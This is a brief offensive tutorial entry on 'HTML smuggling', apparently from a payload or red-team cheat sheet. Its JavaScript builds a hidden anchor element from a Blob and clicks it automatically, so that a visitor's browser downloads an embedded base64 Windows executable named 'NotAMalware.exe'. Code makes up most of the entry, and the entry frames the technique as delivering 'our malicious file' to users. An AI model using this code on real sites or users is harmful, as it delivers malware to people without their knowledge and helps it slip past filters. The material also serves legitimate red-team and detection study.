HTML Smuggling
Summary
Description
HTML Smuggling consists of making a user to navigate to our crafted HTML page which automaticaly download our malicious file.
Executable storage
We can store our payload in a Blob object => JS: var blob = new Blob([data], {type: 'octet/stream'});
To perform the download, we need to create an Object Url => JS: var url = window.URL.createObjectURL(blob);
With those two elements, we can create with Javascript our <a> tag which will be used to download our malicious file:
var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);To store ou payload, we use base64 encoding:
function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array( len );
for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
return bytes.buffer;
}
var file ='TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAA...
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'NotAMalware.exe';